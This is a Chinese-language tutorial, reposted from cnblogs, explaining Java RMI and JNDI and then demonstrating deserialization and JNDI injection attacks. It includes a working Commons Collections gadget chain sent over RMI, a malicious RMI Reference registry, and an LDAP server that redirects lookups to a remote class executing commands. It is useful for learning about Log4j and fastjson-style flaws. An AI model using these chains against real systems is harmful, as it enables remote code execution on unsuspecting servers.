由于最近的log4j
和fastjson
频频曝出JNDI
漏洞危机,觉得有必要学习jndi
和rmi
1 RMI
1.1 rmi概念
RMI
是用Java
在JDK1.2
中实现的,它大大增强了Java
开发分布式应用的能力,Java
本身对RMI
规范的实现默认使用的是JRMP
协议。而在Weblogic
中对RMI
规范的实现使用T3
协议
JRMP
:Java Remote Message Protocol
,Java
远程消息交换协议。这是运行在Java RMI
之下、TCP/IP
之上的线路层协议。该协议要求服务端与客户端都为Java
编写,就像HTTP
协议一样,规定了客户端和服务端通信要满足的规范
RMI
(Remote Method Invocation
)为远程方法调用,是允许运行在一个Java
虚拟机的对象调用运行在另一个Java
虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中,RMI
体系结构是基于一个非常重要的行为定义
和行为实现
相分离的原则。RMI
允许定义行为的代码和实现行为的代码相分离,并且运行在不同的JVM
上。
不同于socket
,RMI
中分为三大部分:Server
、Client
、Registry
-
Server
: 提供远程的对象 -
Client
: 调用远程的对象 -
Registry
: 一个注册表,存放着远程对象的位置(ip、端口、标识符)
RMI
体系结构分以下几层:
- 存根和骨架层(
Stub and Skeleton layer
):这一层对程序员是透明的,它主要负责拦截客户端发出的方法调用请求,然后把请求重定向给远程的RMI
服务。 - 远程引用层(
Remote Reference Layer
):RMI
体系结构的第二层用来解析客户端对服务端远程对象的引用。这一层解析并管理客户端对服务端远程对象的引用。连接是点到点的。 - 传输层(
Transport layer
):这一层负责连接参与服务的两个JVM
。这一层是建立在网络上机器间的TCP/IP
连接之上的。它提供了基本的连接服务,还有一些防火墙穿透策略
1.2 RMI基础运用
RMI
可以调用远程的一个Java
的对象进行本地执行,但是远程被调用的该类必须继承java.rmi.Remote
接口
1.2.1 定义一个远程的接口
public interface Rmidemo extends Remote {
public String hello() throws RemoteException;
}
在定义远程接口的时候需要继承java.rmi.Remote
接口,并且修饰符需要为public
否则远程调用的时候会报错。并且定义的方法里面需要抛出一个RemoteException
的异常
1.2.2 编写一个远程接口的实现类
在编写该实现类中需要将该类继承UnicastRemoteObject
public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo{
protected RemoteHelloWorld() throws RemoteException {
System.out.println("构造方法");
}
public String hello() throws RemoteException {
System.out.println("hello方法被调用");
return "hello,world";
}
}
1.2.3 创建服务器实例
创建服务器实例,并且创建一个注册表,将需要提供给客户端的对象注册到注册到注册表中
public class servet {
public static void main(String[] args) throws RemoteException {
Rmidemo hello = new RemoteHelloWorld();//创建远程对象
Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
registry.rebind("hello",hello);//将远程对象注册到注册表里面,并且设置值为hello
}
}
到了这一步,简单的RMI服务端的代码就写好了
1.2.4 编写客户端并且调用远程对象
public class clientdemo {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("localhost", 1099);//获取远程主机对象
// 利用注册表的代理去查询远程注册表中名为hello的对象
Rmidemo hello = (Rmidemo) registry.lookup("hello");
// 调用远程方法
System.out.println(hello.hello());
}
}
在这一步需要注意的是,如果远程的这个方法有参数的话,调用该方法传入的参数必须是可序列化的。在传输中是传输序列化后的数据,服务端会对客户端的输入进行反序列化
1.3 RMI反序列化攻击
需要使用到RMI
进行反序列化攻击需要两个条件:接收Object
类型的参数、RMI
的服务端存在执行命令利用链
这里对上面得代码做一个简单的改写
1.3.1 定义远程接口
需要定义一个object
类型的参数方法
public interface User extends Remote {
public String hello(String hello) throws RemoteException;
void work(Object obj) throws RemoteException;
void say() throws RemoteException;
}
1.3.2 远程接口实现
public class UserImpl extends UnicastRemoteObject implements User {
protected UserImpl() throws RemoteException {
}
protected UserImpl(int port) throws RemoteException {
super(port);
}
protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
super(port, csf, ssf);
}
public String hello(String hello) throws RemoteException {
return "hello";
}
public void work(Object obj) throws RemoteException {
System.out.println("work被调用了");
}
public void say() throws RemoteException {
System.out.println("say");
}
}
1.3.3 服务器
public class server {
public static void main(String[] args)
throws RemoteException {
User user = new UserImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("user",user);
System.out.println("rmi running....");
}
}
1.3.4 客户端
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
public class client {
public static void main(String[] args) throws Exception {
String url = "rmi://192.168.20.130:1099/user";
User userClient = (User) Naming.lookup(url);
userClient.work(getpayload());
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "sijidou");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, transformedMap);
return instance;
}
}
执行客户端后就会执行我们设置好要执行的命令,也就是弹出计算器。之所以会被执行的原因前面也说过RMI
在传输数据的时候,会被序列化,传输的时序列化后的数据,在传输完成后再进行反序列化。那么这时候如果传输一个恶意的序列化数据就会进行反序列化的命令执行
转载于:https://www.cnblogs.com/nice0e3/p/13927460.html
1.3.4.1 Transformer类说明
1.3.4.1.1 Transformer
commons-collections
下面的类Transformer
是个接口
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
可以看到Transformer
接口只有一个transform
方法,之后所有继承该接口的类都需要实现这个方法。
官方文档的意思:
大致意思就是会将传入的object
进行转换,然后返回转换后的object
。还是有点抽象,不过没关系,先放着接下来再根据继承该接口的类进行具体分析。
Transformer
有几个实现类:
ConstantTransformer
InvokerTransformer
ChainedTransformer
1.3.4.1.2 ConstantTransformer
ConstantTransformer
类当中的transform
方法就是将初始化时传入的对象返回
部分源码:
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
1.3.4.1.3 InvokerTransformer
InvokerTransformer
部分源码:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
InvokerTransformer
类的构造函数传入三个参数——方法名
,参数类型数组
,参数数组
。在transform
方法中通过反射机制调用传入某个类的方法,而调用的方法及其所需要的参数都在构造函数中进行了赋值,最终返回该方法的执行结果
1.3.4.1.4 ChainedTransformer
ChainedTransformer
部分源码:
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
ChainedTransformer
类利用之前构造方法传入的transformers
数组通过循环的方式调用每个元素的trandsform
方法,将得到的结果传入下一次循环的transform
方法中。
那么这样我们可以利用ChainedTransformer
将ConstantTransformer
和InvokerTransformer
的transform
方法串起来。通过ConstantTransformer
返回某个类,交给InvokerTransformer
去调用类中的某个方法。
1.3.4.1.5 TrandsformedMap
TrandsformedMap
部分源码:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
TransformedMap
的decorate
方法根据传入的参数重新实例化一个TransformedMap
对象,再看put
方法的源码,不管是key还是value都会间接调用transform
方法,而这里的this.valueTransformer
也就是transformerChain
,从而启动整个链子
1.3.4.2 代码中说明
1.3.4.2.1 Transformer类说明
String[] execArgs = new String[]{"open -a Calculator"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class}, execArgs),
};
上面的代码翻译一下正常的反射代码一下:
((Runtime) Runtime.class.
getMethod("getRuntime", null).
invoke(null, null)).
exec("open -a Calculator");
1.3.4.2.2 TransformedMap类说明
其中TransformedMap
根据上门的部分源码可知会自动调用Transformer
内部方法
TransformedMap 可以用来对 Map 进行某种变换,底层原理实际上是使用传入的 Transformer 进行转换。
Transformer transformer = new ConstantTransformer("程序通事");
Map testMap = new HashMap<>();
testMap.put("a", "A");
// 只对 value 进行转换
Map decorate = TransformedMap.decorate(testMap, null, transformer);
// put 方法将会触发调用 Transformer 内部方法
decorate.put("b", "B");
for (Object entry : decorate.entrySet()) {
Map.Entry temp = (Map.Entry) entry;
if (temp.getKey().equals("a")) {
// Map.Entry setValue 也会触发 Transformer 内部方法
temp.setValue("AAA");
}
}
System.out.println(decorate);
只要调用 TransformedMap
的 put
方法,或者调用 Map.Entry
的 setValue
方法就可以触发我们设置的 ChainedTransformer
,从而触发 Runtime
执行外部命令,因此输出结果为:
{b=程序通事, a=程序通事}
1.3.4.2.3 AnnotationInvocationHandler类说明
上文中我们知道了,只要调用 TransformedMap
的 put
方法,或者调用 Map.Entry
的 setValue
方法就可以触发我们设置的 ChainedTransformer
,从而触发 Runtime
执行外部命令。
现在我们就需要找到一个可序列化的类,这个类正好实现了 readObject,且正好可以调用 Map put 的方法或者调用 Map.Entry的 setValue。
Java 中有一个类 sun.reflect.annotation.AnnotationInvocationHandler
,正好满足上述的条件。这个类构造函数可以设置一个 Map 变量,这下刚好可以把上面的 TransformedMap 设置进去。
但是,这个类没有 public 修饰符,默认只有同一个包才可以使用
不过这点难度,跟上面一比,还真是轻松,我们可以通过反射获取从而获取这个类的实例。
示例代码如下:
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 随便使用一个注解
Object instance = ctor.newInstance(Target.class, exMap);
2 JNDI
2.1 概念
JNDI
(Java Naming and Directory Interface
,Java
命名和目录接口)是SUN
公司提供的一种标准的Java
命名系统接口,JNDI
提供统一的客户端API
,通过不同的访问提供者接口JNDI
服务供应接口(SPI
)的实现,由管理者将JNDI API
映射为特定的命名服务
和目录系统
,使得Java
应用程序可以和这些命名服务和目录服务之间进行交互。目录服务
是命名服务
的一种自然扩展
命名服务将名称和对象联系起来,使得读者可以用名称访问对象。目录服务
是一种命名服务,在这种服务里,对象不但有名称,还有属性。
JNDI
是一个应用程序设计的API
,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC
都是构建在抽象层上。现在JNDI
已经成为J2EE
的标准之一,所有的J2EE
容器都必须提供一个JNDI
的服务。
JNDI
可访问的现有的目录及服务有:
DNS
、XNam
、Novell
目录服务、LDAP
(Lightweight Directory Access Protocol
轻型目录访问协议)、 CORBA
对象服务、文件系统、Windows XP/2000/NT/Me/9x
的注册表、RMI、DSML v1&v2、NIS
以上是一段百度wiki的描述。简单点来说就相当于一个索引库,一个命名服务
将对象
和名称
联系在了一起,并且可以通过它们指定的名称找到相应的对象
2.2 JNDI结构
在Java JDK
里面提供了5个包,提供给JNDI
的功能实现,分别是
-
javax.naming
:主要用于命名
操作,它包含了命名服务的类和接口,该包定义了Context
接口和InitialContext
类; -
javax.naming.directory
:主要用于目录
操作,它定义了DirContext
接口和InitialDir-Context
类; -
javax.naming.event
:在命名目录服务器中请求事件通知; -
javax.naming.ldap
:提供LDAP
支持; -
javax.naming.spi
:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI
可以访问相关服务。
2.2.1 InitialContext类
构造方法:
InitialContext()
:构建一个初始上下文。
InitialContext(boolean lazy)
:构造一个初始上下文,并选择不初始化它。
InitialContext(Hashtable,?> environment)
:使用提供的环境构建初始上下文
常用方法:
bind(Name name, Object obj)
将名称绑定到对象list(String name)
枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名lookup(String name)
检索命名对象rebind(String name, Object obj)
将名称绑定到对象,覆盖任何现有绑定unbind(String name)
取消绑定命名对象
示例如下:
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
2.2.2 Reference类
该类也是在javax.naming
的一个类,该类表示对在命名/目录
系统外部
找到的对象的引用。提供了JNDI
中类的引用功能
构造方法:
Reference(String className)
为类名为className
的对象构造一个新的引用。
Reference(String className, RefAddr addr)
为类名为className
的对象和地址构造一个新引用
Reference(String className, RefAddr addr, String factory, String factoryLocation)
为类名为className
的对象,对象工厂的类名和位置以及对象的地址构造一个新引用
Reference(String className, String factory, String factoryLocation)
为类名为className
的对象以及对象工厂的类名和位置构造一个新引用。
示例:
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);
参数1:className
- 远程加载时所使用的类名
参数2:classFactory
- 加载的class
中需要实例化类的名称
参数3:classFactoryLocation
- 提供classes
数据的地址可以是file/ftp/http协议
常用方法:
void add(int posn, RefAddr addr)
将地址添加到索引posn
的地址列表中。
void add(RefAddr addr)
将地址添加到地址列表的末尾。
void clear()
从此引用中删除所有地址。
RefAddr get(int posn)
检索索引posn上的地址。
RefAddr get(String addrType)
检索地址类型为addrType
的第一个地址。
Enumeration
检索本参考文献中地址的列举。getAll()
String getClassName()
检索引用引用的对象的类名。
String getFactoryClassLocation()
检索此引用引用的对象的工厂位置。
String getFactoryClassName()
检索此引用引用对象的工厂的类名。
Object remove(int posn)
从地址列表中删除索引posn上的地址。
int size()
检索此引用中的地址数。
String toString()
生成此引用的字符串表示形式
代码示例:
public class jndi {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
String url = "http://127.0.0.1:8080";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("aa",referenceWrapper);
}
}
这里可以看到调用完Reference
后又调用了 ReferenceWrapper
将前面的Reference
对象给传进去,其原因是查看Reference
就可以知道原因,查看到Reference
,并没有继承Remote
接口也没有继承 UnicastRemoteObject
类,前面讲RMI
的时候说过,需要将类注册到Registry
需要实现Remote
和继承UnicastRemoteObject
类。这里并没有看到相关的代码,所以这里还需要调用 ReferenceWrapper
将他给封装一下
2.3 JNDI注入攻击
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
initialContext.lookup(uri);//获取指定的远程对象
}
}
在上面的InitialContext.lookup(uri)
的这里,如果说URI
可控,那么客户端就可能会被攻击。JNDI
可以使用RMI、LDAP
来访问目标服务。在实际运用中也会使用到JNDI
注入配合RMI
等方式实现攻击
2.4 JNDI注入+RMI实现攻击
2.4.1 RMIServer代码
public class server {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
String url = "http://127.0.0.1:8080/";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("obj",referenceWrapper);
System.out.println("running");
}
}
2.4.2 RMIClient代码
public class client {
public static void main(String[] args) throws NamingException {
String url = "rmi://localhost:1099/obj";
//新版jdk8u以上 不加这句话报错 The object factory is untrusted.
//Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
下面还需要一段执行命令的代码,挂载在web页面上让server端去请求
public class test {
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc");
}
}
使用javac
命令,将该类编译成class
文件挂载在web页面上。
原理其实就是把恶意的Reference
类,绑定在RMI
的Registry
里面,在客户端调用lookup
远程获取远程类的时候,就会获取到Reference
对象,获取到Reference
对象后,会去寻找Reference
中指定的类,如果查找不到则会在Reference
中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行
2.5 JNDI注入+LDAP实现攻击
LDAP
概念:LDAP
轻型目录访问协议(英文:Lightweight Directory Access Protocol
,缩写:LDAP,/ˈɛldæp/)是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息
有了前面的案例后,再来看这个其实也比较简单,之所以JNDI
注入会配合LDAP
是因为LDAP
服务的Reference
远程加载Factory
类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase
等属性的限制。
示例如下:
2.5.1 server端
public class demo {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8080/#test"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
2.5.2 编写一个client客户端
public class clientdemo {
public static void main(String[] args) throws NamingException {
Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");
}
}
编写一个远程恶意类,并将其编译成class文件,放置web页面中。
public class test{
public test() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
转载于:https://www.cnblogs.com/nice0e3/p/13958047.html